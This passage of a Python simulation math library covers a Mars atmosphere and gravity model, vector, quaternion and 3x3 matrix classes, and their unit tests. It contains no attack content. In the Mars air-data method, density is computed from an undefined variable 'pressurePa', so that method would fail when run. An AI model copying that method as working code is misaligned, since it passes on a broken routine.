(https://www.grc.nasa.gov/WWW/K-12/airplane/atmosmrm.html).  \n    \"\"\"\n    def __init__(self):\n        self.GM = 42828.371901284e9\n        self.RotationRate = 7.0882181e-5  # Mars Rotation Rate (rad/sec, East)\n        self.SemiMajor = 3.396196e6\n        self.J2 = 0.00195545367944545\n        self.CalcSemiMinor()\n    \n    def AirData(self, altitude):\n        \"\"\"Returns the Martian air density given the altitude.\"\"\"\n        temperatureC = 0\n        if altitude > 7000:\n            temperatureC = -31 - 0.000998 * altitude\n        else:\n            temperatureC = -23.4 - 0.00222 * altitude\n\n        pressureKPa = 0.699 * math.exp( -0.00009 * altitude )\n        airDensity  = pressurePa / (0.1921 * (temperatureC + 273.1))\n        \n        self.density = airDensity\n        self.temperature = temperatureC\n        self.pressure = pressureKPa\n        self.speedOfSoundMps = 0\n        \n        return\n    \n    def Gravity(self, altitude, latRad):\n        \"\"\"Martian gravity model given the altitude and latitude.\"\"\"\n        marsGM = self.GM\n        marsRadiusMeter = self.SemiMajor\n        J2 = self.J2\n        J3 = 3.14498094262035e-5\n        J4 = -1.53773961526397e-5\n        cosPhi = math.cos( 0.5*math.pi - latRad )\n\n        r  = altitude + marsRadiusMeter\n        rr = marsRadiusMeter / r\n\n        gravity = marsGM*(1.0 - 1.5 * J2 * ( 3.0 * cosPhi*cosPhi - 1.0 ) \n            * rr*rr - 2.0 * J3 * cosPhi * ( 5.0 * cosPhi*cosPhi - 3.0 ) \n            * rr*rr*rr - (5.0/8.0) * J4 * ( 35.0 * cosPhi**4\n            - 30.0 * cosPhi*cosPhi + 3.0 ) * rr**4.0 ) / (r*r)\n    \n        return gravity\n    \n    def UnitTest(self):\n        self.ClassName = \"Mars\"\n        self.TestValue(3.724179, self.Gravity(0,0), \"gravity\", 1e-6)\n        \n        print(\"Number of Mars failed tests: \", self.FailCount)\n        \n###############################################################################\nclass Vector3(UnitTest):\n    \"\"\"A 3 component vector class\"\"\"\n    def __init__(self, x, y, z):\n        self.X = x\n        self.Y = y\n        self.Z = z\n        \n    # defining how to print the class\n    def __str__(self):\n        return \"(%s, %s, %s)\" % (self.X, self.Y, self.Z)\n    \n    # overloading the + to add vectors\n    def __add__(self, o):\n        x = self.X + o.X\n        y = self.Y + o.Y\n        z = self.Z + o.Z\n        return Vector3(x,y,z)\n    \n    # overloading the - to subtract vectors\n    def __sub__(self, o):\n        x = self.X - o.X\n        y = self.Y - o.Y\n        z = self.Z - o.Z\n        return Vector3(x,y,z)\n    \n    # overloading the ^ for cross product\n    def __xor__(self, o):\n        x = self.Y * o.Z - self.Z * o.Y\n        y = self.Z * o.X - self.X * o.Z\n        z = self.X * o.Y - self.Y * o.X\n        return Vector3(x,y,z)\n    \n    # overloading the * to multiply scalars to a vector\n    def __mul__(self, s):\n        x = self.X * s\n        y = self.Y * s\n        z = self.Z * s\n        return Vector3(x,y,z)\n    \n    # overloading the / to divide a vector by a scalar\n    def __truediv__(self, s):\n        x = self.X / s\n        y = self.Y / s\n        z = self.Z / s\n        return Vector3(x,y,z)\n    \n    __rmul__ = __mul__\n    \n    def Set(self, x, y, z):\n        self.X = x\n        self.Y = y\n        self.Z = z\n        \n    def Magnitude(self):\n        magnitude = math.sqrt(self.X*self.X + self.Y*self.Y + self.Z*self.Z)\n        return magnitude\n        \n    def UnitTest(self):\n        self.ClassName = \"Vector3\"\n        v1 = Vector3(21,33,19)\n        self.TestValue( 21, v1.X, \"init X\", 1e-6)\n        self.TestValue( 33, v1.Y, \"init Y\", 1e-6)\n        self.TestValue( 19, v1.Z, \"init Z\", 1e-6)\n        v2 = Vector3(21,33,19)\n        v3 = Vector3(79,67,81)\n        v1 = v2 + v3\n        self.TestValue( 100, v1.X, \"add X\", 1e-6)\n        self.TestValue( 100, v1.Y, \"add Y\", 1e-6)\n        self.TestValue( 100, v1.Z, \"add Z\", 1e-6)\n        v4 = Vector3(0,3,-4)\n        self.TestValue( 5, v4.Magnitude(), \"magnitude\", 1e-6)\n        v4.Set( 87, 16.9, -3.1 )\n        self.TestValue(   87, v4.X, \"Set X\", 1e-6)\n        self.TestValue( 16.9, v4.Y, \"Set Y\", 1e-6)\n        self.TestValue( -3.1, v4.Z, \"Set Z\", 1e-6)\n        v5 = v3 - v2\n        self.TestValue( 58, v5.X, \"sub X\", 1e-6)\n        self.TestValue( 34, v5.Y, \"sub Y\", 1e-6)\n        self.TestValue( 62, v5.Z, \"sub Z\", 1e-6)\n        v5 = v2 - v3\n        self.TestValue( -58, v5.X, \"sub X\", 1e-6)\n        self.TestValue( -34, v5.Y, \"sub Y\", 1e-6)\n        self.TestValue( -62, v5.Z, \"sub Z\", 1e-6)\n        v6 = Vector3(4,12,2)\n        v7 = Vector3(13,5,7)\n        v8 = v6 ^ v7\n        self.TestValue(   74, v8.X, \"cross X\", 1e-6)\n        self.TestValue(   -2, v8.Y, \"cross Y\", 1e-6)\n        self.TestValue( -136, v8.Z, \"cross Z\", 1e-6)\n        v9 = 2 * v6\n        self.TestValue(   8, v9.X, \"mul X\", 1e-6)\n        self.TestValue(  24, v9.Y, \"mul Y\", 1e-6)\n        self.TestValue(   4, v9.Z, \"mul Z\", 1e-6)\n        v10 = v7 / 2\n        self.TestValue(  6.5, v10.X, \"div X\", 1e-6)\n        self.TestValue(  2.5, v10.Y, \"div Y\", 1e-6)\n        self.TestValue(  3.5, v10.Z, \"div Z\", 1e-6)\n        v11 = v10\n        self.TestValue(  6.5, v11.X, \"= X\", 1e-6)\n        self.TestValue(  2.5, v11.Y, \"= Y\", 1e-6)\n        self.TestValue(  3.5, v11.Z, \"= Z\", 1e-6)\n            \n        print(\"Number of Vector3 failed tests: \", self.FailCount)\n        \n###############################################################################\nclass Quaternion(UnitTest):\n    \"\"\"A quaternion class for EOM.\n    \n    Reference for checking [quaternion rotation]\n    (https://www.andre-gaschler.com/rotationconverter/).  \n    \n    Quaternion multiplication checked [here]\n    (https://www.vcalc.com/wiki/vCalc/Quaternion+Multiplication).\n    \n    $t=q*r=t_0 + \\mathbf{i}t_1 + \\mathbf{j}t_2 + \\mathbf{k}t_3$  \n    $t_0 = q_0r_0 - q_1r_1 - q_2r_2 - q_3r_3$  \n    $t_1 = q_1r_0 + q_0r_1 - q_3r_2 + q_2r_3$  \n    $t_2 = q_2r_0 + q_3r_1 + q_0r_2 - q_1r_3$  \n    $t_3 = q_3r_0 - q_2r_1 + q_1r_2 + q_0r_3$  \n\n    System b to a -> $q_{b/a}$\n\n    $u^b = q_{b/a}^{-1} * u^a * q_{b/a}$, and $q_{b/a}^{-1} = q_{a/b}$  \n    $u^c = q_{c/b}^{-1} q_{b/a}^{-1} \\, u^a \\, q_{b/a} q_{c/b}$\n\n    $v^{frd} = q_{\\phi}^{-1} q_{\\theta}^{-1} q_{\\psi}^{-1} \\, v^{ned} \\, q_{\\psi} q_{\\theta} q_{\\phi}$\n\n    $q_{frd/ned} = q_{\\psi} q_{\\theta} q_{\\phi} = \n    \\begin{matrix}\n    \\cos\\frac{\\phi}{2}\\cos\\frac{\\theta}{2}\\cos\\frac{\\psi}{2} + \\sin\\frac{\\phi}{2}\\sin\\frac{\\theta}{2}\\sin\\frac{\\psi}{2}\\\\\n    \\sin\\frac{\\phi}{2}\\cos\\frac{\\theta}{2}\\cos\\frac{\\psi}{2} - \\cos\\frac{\\phi}{2}\\sin\\frac{\\theta}{2}\\sin\\frac{\\psi}{2} \\\\\n    \\cos\\frac{\\phi}{2}\\sin\\frac{\\theta}{2}\\cos\\frac{\\psi}{2} + \\sin\\frac{\\phi}{2}\\cos\\frac{\\theta}{2}\\sin\\frac{\\psi}{2} \\\\\n    \\cos\\frac{\\phi}{2}\\cos\\frac{\\theta}{2}\\sin\\frac{\\psi}{2} - \\sin\\frac{\\phi}{2}\\sin\\frac{\\theta}{2}\\cos\\frac{\\psi}{2}\n    \\end{matrix}$\n\n    $q_{ned/ecf} = \n    \\begin{matrix}\n    \\phantom{-} \\cos\\frac{lon}{2} \\cos(\\frac{lat}{2} + 45^{\\circ}) \\\\\n    \\phantom{-} \\sin\\frac{lon}{2} \\sin(\\frac{lat}{2} + 45^{\\circ}) \\\\\n    -\\cos\\frac{lon}{2} \\sin(\\frac{lat}{2} + 45^{\\circ}) \\\\\n    \\phantom{-} \\sin\\frac{lon}{2} \\cos(\\frac{lat}{2} + 45^{\\circ})\n    \\end{matrix}$\n\n    $\\omega^{frd} = q_{frd/ned}^{-1} q_{ned/ecf}^{-1} \\, \\omega^{ecf} \\, q_{ned/ecf} q_{frd/ned}$\n\n    $F^{ecf} = q_{ecf/ned}^{-1} q_{ned/frd}^{-1} \\, F^{frd} \\, q_{ned/frd} q_{ecf/ned}$  \n    $\\phantom{F^{ecf}} = q_{ned/ecf} q_{frd/ned} \\, F^{frd} \\, q_{frd/ned}^{-1} q_{ned/ecf}^{-1}$\n\n    $v^{ecf} = q_{ecf/ned}^{-1} q_{ned/frd}^{-1} \\, v^{frd} \\, q_{ned/frd} q_{ecf/ned}$  \n    $\\phantom{v^{ecf}} = q_{ned/ecf} q_{frd/ned} \\, v^{frd} \\, q_{frd/ned}^{-1} q_{ned/ecf}^{-1}$  \n\n    $u^{ned} = q_{ned/frd}^{-1} \\, u^{frd} \\, q_{ned/frd}$  \n    $q_{ned/frd}^{-1} = q_{frd/ned}$  \n    $u^{ned} = q_{frd/ned} \\, \n    \\begin{bmatrix}\n    0 \\\\\n    u\n    \\end{bmatrix}\n    \\, q_{frd/ned}^{-1}$  \n    \"\"\"\n    def __init__(self, n, x, y, z):\n        self.N = n\n        self.X = x\n        self.Y = y\n        self.Z = z\n    \n    # defining how to print the class\n    def __repr__(self):\n        return \"(%s, %s, %s, %s)\" % (self.N, self.X, self.Y, self.Z)\n    \n    # overloading the ~ for quaternion inverse\n    def __invert__(self):\n        n = self.N\n        x = -self.X\n        y = -self.Y\n        z = -self.Z\n        return Quaternion(n,x,y,z)\n    \n    # overloading the + to add quaternions\n    def __add__(self, o):\n        n = self.N + o.N\n        x = self.X + o.X\n        y = self.Y + o.Y\n        z = self.Z + o.Z\n        return Quaternion(n,x,y,z)\n    \n    # overlaoding the * to multiply quaternions and multiple scalars and quaternions\n    def __mul__(self,o):\n        n=0\n        x=0\n        y=0\n        z=0\n        if isinstance(o, Quaternion):\n            n = self.N*o.N - self.X*o.X - self.Y*o.Y - self.Z*o.Z\n            x = self.N*o.X + self.X*o.N + self.Y*o.Z - self.Z*o.Y\n            y = self.N*o.Y + self.Y*o.N + self.Z*o.X - self.X*o.Z\n            z = self.N*o.Z + self.Z*o.N + self.X*o.Y - self.Y*o.X\n        elif isinstance(o, Vector3):\n            n = -(self.X*o.X + self.Y*o.Y + self.Z*o.Z)\n            x =   self.N*o.X + self.Y*o.Z - self.Z*o.Y\n            y =   self.N*o.Y + self.Z*o.X - self.X*o.Z\n            z =   self.N*o.Z + self.X*o.Y - self.Y*o.X\n        else:\n            n = self.N * o\n            x = self.X * o\n            y = self.Y * o\n            z = self.Z * o\n        return Quaternion(n,x,y,z)\n    \n    # so that scalar * quaternion is the same as quaternion * scalar\n    __rmul__ = __mul__\n    \n    def Normalize(self):\n        magnitude = math.sqrt(self.N*self.N + self.X*self.X + self.Y*self.Y + self.Z*self.Z)\n        \n        if magnitude != 0:\n            self.N = self.N / magnitude\n            self.X = self.X / magnitude\n            self.Y = self.Y / magnitude\n            self.Z = self.Z / magnitude\n        \n    def SetRollPitchYaw(self, roll, pitch, yaw):\n        qroll  = Quaternion( math.cos(0.5*roll) , math.sin(0.5*roll), 0.0                , 0.0)\n        qpitch = Quaternion( math.cos(0.5*pitch), 0.0               , math.sin(0.5*pitch), 0.0)\n        qyaw   = Quaternion( math.cos(0.5*yaw)  , 0.0               , 0.0                , math.sin(0.5*yaw))\n\n        # ZYX rotation\n        q = qyaw*qpitch*qroll\n        q.Normalize()\n        \n        self.N = q.N\n        self.X = q.X\n        self.Y = q.Y\n        self.Z = q.Z\n        \n    def SetLatLon(self, lat, lon):\n        n =  math.cos(0.5*lon)*math.cos(0.5*lat + 0.25*math.pi)\n        x =  math.sin(0.5*lon)*math.sin(0.5*lat + 0.25*math.pi)\n        y = -math.cos(0.5*lon)*math.sin(0.5*lat + 0.25*math.pi)\n        z =  math.sin(0.5*lon)*math.cos(0.5*lat + 0.25*math.pi)\n        \n        q = Quaternion( n, x, y, z )\n        q.Normalize()\n        \n        self.N = q.N\n        self.X = q.X\n        self.Y = q.Y\n        self.Z = q.Z\n        \n    def SetQfrdWrtEcf(self, roll, pitch, yaw, lat, lon):\n        qroll  = Quaternion( math.cos(0.5*roll) , math.sin(0.5*roll), 0.0                , 0.0)\n        qpitch = Quaternion( math.cos(0.5*pitch), 0.0               , math.sin(0.5*pitch), 0.0)\n        qyaw   = Quaternion( math.cos(0.5*yaw)  , 0.0               , 0.0                , math.sin(0.5*yaw))\n\n        hLon = 0.5*lon\n        hLat = 0.5*lat + 0.25*math.pi\n        qlon = Quaternion(math.cos(hLon), 0, 0, math.sin(hLon))\n        qlat = Quaternion(math.cos(hLat), 0, -math.sin(hLat), 0)\n        \n        # ZYX rotation\n        q = qlon*qlat*qyaw*qpitch*qroll\n        \n        self.N = q.N\n        self.X = q.X\n        self.Y = q.Y\n        self.Z = q.Z\n        \n    def SetPlanetRotation(self, rotationAngle_rad):\n        n = math.cos(0.5*rotationAngle_rad)\n        z = math.sin(0.5*rotationAngle_rad)\n        \n        q = Quaternion(n, 0.0, 0.0, z)\n        q.Normalize()\n        \n        self.N = q.N\n        self.X = q.X\n        self.Y = q.Y\n        self.Z = q.Z\n        \n    def EulerAnglesFromQ(self):\n        q0 = self.N\n        q1 = self.X\n        q2 = self.Y\n        q3 = self.Z\n        \n        c11 = q0*q0 + q1*q1 - q2*q2 - q3*q3\n        c12 = 2.0*(q1*q2 + q0*q3)\n        c13 = 2.0*(q1*q3 - q0*q2)\n        c23 = 2.0*(q2*q3 + q0*q1)\n        c33 = q0*q0 - q1*q1 - q2*q2 + q3*q3\n        \n        roll  =  math.atan2(c23,c33)\n        pitch = -math.asin(c13)\n        yaw   =  math.atan2(c12,c11)\n\n        return [roll, pitch, yaw] \n              \n    def EulerAnglesFromQold(self):\n        qnn = self.N * self.N\n        qxx = self.X * self.X\n        qyy = self.Y * self.Y\n        qzz = self.Z * self.Z\n        \n        img = qxx + qyy + qzz + qnn\n        assert img != 0, \"EulerAnglesFromQ all elements 0 for quaternion\"\n        img = 1.0 / img\n\n        m11 = (qnn + qxx - qyy - qzz)*img\n        m12 = 2.0*(self.X*self.Y + self.Z*self.N)*img\n        m13 = 2.0*(self.X*self.Z - self.Y*self.N)*img\n        m23 = 2.0*(self.Y*self.Z + self.X*self.N)*img\n        m33 = (qnn - qxx - qyy + qzz)*img\n\n        roll = 0\n        pitch = 0\n        yaw = 0\n        if abs(m13) >= 1.0:\n            m21 = 2.0*(self.X*self.Y - self.Z*self.N)*img\n            m31 = 2.0*(self.X*self.Z + self.Y*self.N)*img;\n            roll  = 0.0\n            halfPi = 0.5*math.pi\n            pitch = -halfPi if (m13 > 0.0) else halfPi\n            yaw   = math.atan2(-m21, -m31/m13)\n        else:\n            roll  = math.atan2(m23,m33)  # Roll\n            pitch = math.asin(-m13)      # Pitch\n            yaw   = math.atan2(m12,m11)  # Yaw\n\n        return [roll, pitch, yaw]\n        \n    def UnitTest(self):\n        self.ClassName = \"Quaternion\"\n        q0 = Quaternion(4,7,8,9)\n        q0i = ~q0\n        self.TestValue( 4, q0i.N, \"inverse\", 1e-6)\n        self.TestValue(-7, q0i.X, \"inverse\", 1e-6)\n        self.TestValue(-8, q0i.Y, \"inverse\", 1e-6)\n        self.TestValue(-9, q0i.Z, \"inverse\", 1e-6)\n        q1 = Quaternion(2,3,4,5)\n        q2 = Quaternion(8,9,10,11)\n        q3 = q1 + q2\n        self.TestValue(10, q3.N, \"add\", 1e-6)\n        self.TestValue(12, q3.X, \"add\", 1e-6)\n        self.TestValue(14, q3.Y, \"add\", 1e-6)\n        self.TestValue(16, q3.Z, \"add\", 1e-6)\n        q4 = q1 * q2\n        self.TestValue(-106, q4.N, \"multiply\", 1e-6)\n        self.TestValue(36, q4.X, \"multiply\", 1e-6)\n        self.TestValue(64, q4.Y, \"multiply\", 1e-6)\n        self.TestValue(56, q4.Z, \"multiply\", 1e-6)\n        q5 = 7.0 * q1\n        self.TestValue(14, q5.N, \"scalar multiply\", 1e-6)\n        self.TestValue(21, q5.X, \"scalar multiply\", 1e-6)\n        self.TestValue(28, q5.Y, \"scalar multiply\", 1e-6)\n        self.TestValue(35, q5.Z, \"scalar multiply\", 1e-6)\n        q6 = q2 * 10\n        self.TestValue(80, q6.N, \"scalar multiply\", 1e-6)\n        self.TestValue(90, q6.X, \"scalar multiply\", 1e-6)\n        self.TestValue(100, q6.Y, \"scalar multiply\", 1e-6)\n        self.TestValue(110, q6.Z, \"scalar multiply\", 1e-6)\n        q6.SetRollPitchYaw(0.3,-0.7,3.11)\n        self.TestValue(-0.0365642, q6.N, \"Euler\", 1e-6)\n        self.TestValue(0.3412225, q6.X, \"Euler\", 1e-6)\n        self.TestValue(0.1350051, q6.Y, \"Euler\", 1e-6)\n        self.TestValue(0.9295181, q6.Z, \"Euler\", 1e-6)\n        [roll, pitch, yaw] = q6.EulerAnglesFromQ()\n        self.TestValue( 0.3, roll, \"EulerFromQ\", 1e-6)\n        self.TestValue(-0.7, pitch, \"EulerFromQ\", 1e-6)\n        self.TestValue(3.11, yaw, \"EulerFromQ\", 1e-6)\n        q7 = Quaternion(0.6680766, 0.2325211, 0.1160514, 0.6972372)\n        [roll, pitch, yaw] = q7.EulerAnglesFromQ()\n        self.TestValue( 0.5, roll, \"EulerFromQ\", 1e-6)\n        self.TestValue(-0.17, pitch, \"EulerFromQ\", 1e-6)\n        self.TestValue(1.57, yaw, \"EulerFromQ\", 1e-6)\n        q8 = Quaternion(6,-6,6,6)\n        q8.Normalize()\n        self.TestValue( 0.5, q8.N, \"Normalize\", 1e-6)\n        self.TestValue(-0.5, q8.X, \"Normalize\", 1e-6)\n        self.TestValue( 0.5, q8.Y, \"Normalize\", 1e-6)\n        self.TestValue( 0.5, q8.Z, \"Normalize\", 1e-6)\n        q9 = Quaternion(1,3,-2,7)\n        q9.Normalize()\n        mag = math.sqrt(1 + 9 + 4 + 49)\n        self.TestValue( 1.0/mag, q9.N, \"Normalize 2\", 1e-6)\n        self.TestValue( 3.0/mag, q9.X, \"Normalize 2\", 1e-6)\n        self.TestValue(-2.0/mag, q9.Y, \"Normalize 2\", 1e-6)\n        self.TestValue( 7.0/mag, q9.Z, \"Normalize 2\", 1e-6)\n        \n        print(\"Number of Quaternion failed tests: \", self.FailCount)\n        \n###############################################################################\nclass Matrix3x3(UnitTest):\n    A11 = 1\n    A12 = 0\n    A13 = 0\n    \n    A21 = 0\n    A22 = 1\n    A23 = 0\n    \n    A31 = 0\n    A32 = 0\n    A33 = 1\n    \n    def __mul__(self, v):\n        if isinstance(v, Vector3):\n            x = self.A11 * v.X + self.A12 * v.Y + self.A13 * v.Z\n            y = self.A21 * v.X + self.A22 * v.Y + self.A23 * v.Z\n            z = self.A31 * v.X + self.A32 * v.Y + self.A33 * v.Z\n            return Vector3(x,y,z)\n        elif isinstance(v, Matrix3x3):\n            a11 = self.A11*v.A11 + self.A12*v.A21 + self.A13*v.A31\n            a12 = self.A11*v.A12 + self.A12*v.A22 + self.A13*v.A32\n            a13 = self.A11*v.A13 + self.A12*v.A23 + self.A13*v.A33\n\n            a21 = self.A21*v.A11 + self.A22*v.A21 + self.A23*v.A31\n            a22 = self.A21*v.A12 + self.A22*v.A22 + self.A23*v.A32\n            a23 = self.A21*v.A13 + self.A22*v.A23 + self.A23*v.A33\n            \n            a31 = self.A31*v.A11 + self.A32*v.A21 + self.A33*v.A31\n            a32 = self.A31*v.A12 + self.A32*v.A22 + self.A33*v.A32\n            a33 = self.A31*v.A13 + self.A32*v.A23 + self.A33*v.A33\n            \n            a = Matrix3x3()\n            a.SetRow1( a11, a12, a13 )\n            a.SetRow2( a21, a22, a23 )\n            a.SetRow3( a31, a32, a33 )\n            return a\n        \n        else:\n            a11 = self.A11 * v\n            a12 = self.A12 * v\n            a13 = self.A13 * v\n            a21 = self.A21 * v\n            a22 = self.A22 * v\n            a23 = self.A23 * v\n            a31 = self.A31 * v\n            a32 = self.A32 * v\n            a33 = self.A33 * v\n            a = Matrix3x3()\n            a.SetRow1( a11, a12, a13 )\n            a.SetRow2( a21, a22, a23 )\n            a.SetRow3( a31, a32, a33 )\n            return a\n            \n            \n    def SetRow1(self, a11, a12, a13):\n        self.A11 = a11\n        self.A12 = a12\n        self.A13 = a13\n        \n    def SetRow2(self, a21, a22, a23):\n        self.A21 = a21\n        self.A22 = a22\n        self.A23 = a23\n        \n    def SetRow3(self, a31, a32, a33):\n        self.A31 = a31\n        self.A32 = a32\n        self.A33 = a33\n        \n    # defining how to print the class\n    def __str__(self):\n        row1 = \"(%s, %s, %s)\\n\" % (self.A11, self.A12, self.A13)\n        row2 = \"(%s, %s, %s)\\n\" % (self.A21, self.A22, self.A23)\n        row3 = \"(%s, %s, %s)\" % (self.A31, self.A32, self.A33)\n        return row1+row2+row3\n    \n    def Determinant(self):\n        d1 = self.A11*(self.A22*self.A33 - self.A23*self.A32)\n        d2 = self.A12*(self.A23*self.A31 - self.A21*self.A33)\n        d3 = self.A13*(self.A21*self.A32 - self.A22*self.A31)\n        return d1+d2+d3\n    \n    def Inverse(self):\n        D = self.Determinant()\n\n        im = Matrix3x3()\n\n        # make sure D is not 0\n        if abs(D) > 1e-12:\n            a11 = (self.A22*self.A33 - self.A23*self.A32)/D\n            a12 = (self.A13*self.A32 - self.A12*self.A33)/D\n            a13 = (self.A12*self.A23 - self.A13*self.A22)/D\n\n            a21 = (self.A23*self.A31 - self.A21*self.A33)/D\n            a22 = (self.A11*self.A33 - self.A13*self.A31)/D\n            a23 = (self.A13*self.A21 - self.A11*self.A23)/D\n\n            a31 = (self.A21*self.A32 - self.A22*self.A31)/D\n            a32 = (self.A12*self.A31 - self.A11*self.A32)/D\n            a33 = (self.A11*self.A22 - self.A12*self.A21)/D\n            \n            im.SetRow1(a11, a12, a13)\n            im.SetRow2(a21, a22, a23)\n            im.SetRow3(a31, a32, a33)\n            \n        return im\n            \n    def Transpose(self):        \n        at = Matrix3x3()\n        at.SetRow1(self.A11, self.A21, self.A31)\n        at.SetRow2(self.A12, self.A22, self.A32)\n        at.SetRow3(self.A13, self.A23, self.A33)\n        return at\n    \n    def QuaternionToMatrix(self, q):\n        n = q.N;\n        x = q.X;\n        y = q.Y;\n        z = q.Z;\n\n        self.SetRow1( n*n + x*x - y*y - z*z,       2.0*(x*y - n*z),       2.0*(x*z + n*y) )\n        self.SetRow2(       2.0*(x*y + n*z), n*n - x*x + y*y - z*z,       2.0*(y*z - n*x) )\n        self.SetRow3(       2.0*(x*z - n*y),       2.0*(y*z + n*x), n*n - x*x - y*y + z*z ) \n    \n    def UnitTest(self):\n        self.ClassName = \"Matrix3\"\n        m1 = Matrix3x3()\n        m1.SetRow1(1,2,3)\n        m1.SetRow2(4,5,6)\n        m1.SetRow3(7,3,9)\n        self.TestValue(-30, m1.Determinant(), \"Determinant\", 1e-6)\n        m1.SetRow1(1,2,3)\n        m1.SetRow2(0,1,4)\n        m1.SetRow3(5,6,0)\n        self.TestValue(1, m1.Determinant(), \"Determinant\", 1e-6)\n        m1 = m1.Inverse()\n        self.TestValue(-24, m1.A11, \"Inverse A11\", 1e-6)\n        self.TestValue( 18, m1.A12, \"Inverse A12\", 1e-6)\n        self.TestValue(  5, m1.A13, \"Inverse A13\", 1e-6)\n        self.TestValue( 20, m1.A21, \"Inverse A21\", 1e-6)\n        self.TestValue(-15, m1.A22, \"Inverse A22\", 1e-6)\n        self.TestValue( -4, m1.A23, \"Inverse A23\", 1e-6)\n        self.TestValue( -5, m1.A31, \"Inverse A31\", 1e-6)\n        self.TestValue(  4, m1.A32, \"Inverse A32\", 1e-6)\n        self.TestValue(  1, m1.A33, \"Inverse A33\", 1e-6)\n        \n        m2 = Matrix3x3()\n        m2.SetRow1(1,2,3)\n        m2.SetRow2(4,5,6)\n        m2.SetRow3(7,2,9)\n        m2 = m2.Inverse()\n        self.TestValue(-11/12, m2.A11, \"Inverse A11\", 1e-6)\n        self.TestValue(   1/3, m2.A12, \"Inverse A12\", 1e-6)\n        self.TestValue(  1/12, m2.A13, \"Inverse A13\", 1e-6)\n        self.TestValue(  -1/6, m2.A21, \"Inverse A21\", 1e-6)\n        self.TestValue(   1/3, m2.A22, \"Inverse A22\", 1e-6)\n        self.TestValue(  -1/6, m2.A23, \"Inverse A23\", 1e-6)\n        self.TestValue(   3/4, m2.A31, \"Inverse A31\", 1e-6)\n        self.TestValue(  -1/3, m2.A32, \"Inverse A32\", 1e-6)\n        self.TestValue(  1/12, m2.A33, \"Inverse A33\", 1e-6)\n        \n        m3 = Matrix3x3()\n        m3.SetRow1( 1,2,3)\n        m3.SetRow2(-4,5,6)\n        m3.SetRow3( 7,8.1,9)\n        m4 = m3.Transpose()\n        self.TestValue(   1, m3.A11, \"Transpose A11\", 1e-6)\n        self.TestValue(   2, m3.A12, \"Transpose A12\", 1e-6)\n        self.TestValue(   3, m3.A13, \"Transpose A13\", 1e-6)\n        self.TestValue(  -4, m3.A21, \"Transpose A21\", 1e-6)\n        self.TestValue(   5, m3.A22, \"Transpose A22\", 1e-6)\n        self.TestValue(   6, m3.A23, \"Transpose A23\", 1e-6)\n        self.TestValue(   7, m3.A31, \"Transpose A31\", 1e-6)\n        self.TestValue( 8.1, m3.A32, \"Transpose A32\", 1e-6)\n        self.TestValue(   9, m3.A33, \"Transpose A33\", 1e-6)\n        self.TestValue(   1, m4.A11, \"Transpose A11\", 1e-6)\n        self.TestValue(  -4, m4.A12, \"Transpose A12\", 1e-6)\n        self.TestValue(   7, m4.A13, \"Transpose A13\", 1e-6)\n        self.TestValue(   2, m4.A21, \"Transpose A21\", 1e-6)\n        self.TestValue(   5, m4.A22, \"Transpose A22\", 1e-6)\n        self.TestValue( 8.1, m4.A23, \"Transpose A23\", 1e-6)\n        self.TestValue(   3, m4.A31, \"Transpose A31\", 1e-6)\n        self.TestValue(   6, m4.A32, \"Transpose A32\", 1e-6)\n        self.TestValue(   9, m4.A33, \"Transpose A33\", 1e-6)\n        \n        q = Quaternion(0.7, 0.4, 3.2, -0.87)\n        q.Normalize()\n        m4.QuaternionToMatrix(q)\n        self.TestValue( -0.8883823, m4.A11, \"Quaternion A11\", 1e-7)\n        self.TestValue(  0.3243782, m4.A12, \"Quaternion A12\", 1e-7)\n        self.TestValue(  0.3248933, m4.A13, \"Quaternion A13\", 1e-7)\n        self.TestValue(  0.1152238, m4.A21, \"Quaternion A21\", 1e-7)\n        self.TestValue(  0.8425504, m4.A22, \"Quaternion A22\", 1e-7)\n        self.TestValue( -0.5261486, m4.A23, \"Quaternion A23\", 1e-7)\n        self.TestValue( -0.4444101, m4.A31, \"Quaternion A31\", 1e-7)\n        self.TestValue( -0.4299857, m4.A32, \"Quaternion A32\", 1e-7)\n        self.TestValue( -0.7858829, m4.A33, \"Quaternion A33\", 1e-7)\n        \n        m1.SetRow1(2,6,3)\n        m1.SetRow2(1,1,8)\n        m1.SetRow3(5,7,-6)\n        \n        v1 = Vector3(9,11,-4)\n        v2 = m1 * v1\n        self.TestValue(  72, v2.X, \"Matrix * Vector X\", 1e-7)\n        self.TestValue( -12, v2.Y, \"Matrix * Vector Y\", 1e-7)\n        self.TestValue( 146, v2.Z, \"Matrix * Vector Z\", 1e-7)\n        \n        m1.SetRow1(6,3,17)\n        m1.SetRow2(-4,-0.1,7)\n        m1.SetRow3(14,5,-1)\n        m2.SetRow1(5,0,-6)\n        m2.SetRow2(3,8,2)\n        m2.SetRow3(-1,-4,-9)\n        m3 = m1 * m2\n        self.TestValue(    22, m3.A11, \"Matrix * Matrix A11\", 1e-7)\n        self.TestValue(   -44, m3.A12, \"Matrix * Matrix A12\", 1e-7)\n        self.TestValue(  -183, m3.A13, \"Matrix * Matrix A13\", 1e-7)\n        self.TestValue( -27.3, m3.A21, \"Matrix * Matrix A21\", 1e-7)\n        self.TestValue( -28.8, m3.A22, \"Matrix * Matrix A22\", 1e-7)\n        self.TestValue( -39.2, m3.A23, \"Matrix * Matrix A23\", 1e-7)\n        self.TestValue(    86, m3.A31, \"Matrix * Matrix A31\", 1e-7)\n        self.TestValue(    44, m3.A32, \"Matrix * Matrix A32\", 1e-7)\n        self.TestValue(   -65, m3.A33, \"Matrix * Matrix A33\", 1e-7)\n        \n        m5 = m2 * 2\n        self.TestValue(    10, m5.A11, \"Matrix * Scalar A11\", 1e-7)\n        self.TestValue(     0, m5.A12, \"Matrix * Scalar A12\", 1e-7)\n        self.TestValue(   -12, m5.A13, \"Matrix * Scalar A13\", 1e-7)\n        self.TestValue(     6, m5.A21, \"Matrix * Scalar A21\", 1e-7)\n        self.TestValue(    16, m5.A22, \"Matrix * Scalar A22\", 1e-7)\n        self.TestValue(     4, m5.A23, \"Matrix * Scalar A23\", 1e-7)\n        self.TestValue(    -2, m5.A31, \"Matrix * Scalar A31\", 1e-7)\n        self.TestValue(    -8, m5.A32, \"Matrix * Scalar A32\", 1e-7)\n        self.TestValue(   -18, m5.A33, \"Matrix * Scalar A33\", 1e-7)\n        \n        print(\"Number of Matrix3x3 failed tests: \", self.FailCount)  \n        \n###############################################################################\nclass Integrator(UnitTest):\n    def AdamsBashforth(self, h, current, past):\n        k2 = [1.5, -0.5]\n        k3 = [23.0/12.0, -16.0/12.0, 5.0/12.0]\n        \n        x = h * (k2[0]*current.X + k2[1]*past.X)\n        y = h * (k2[0]*current.Y + 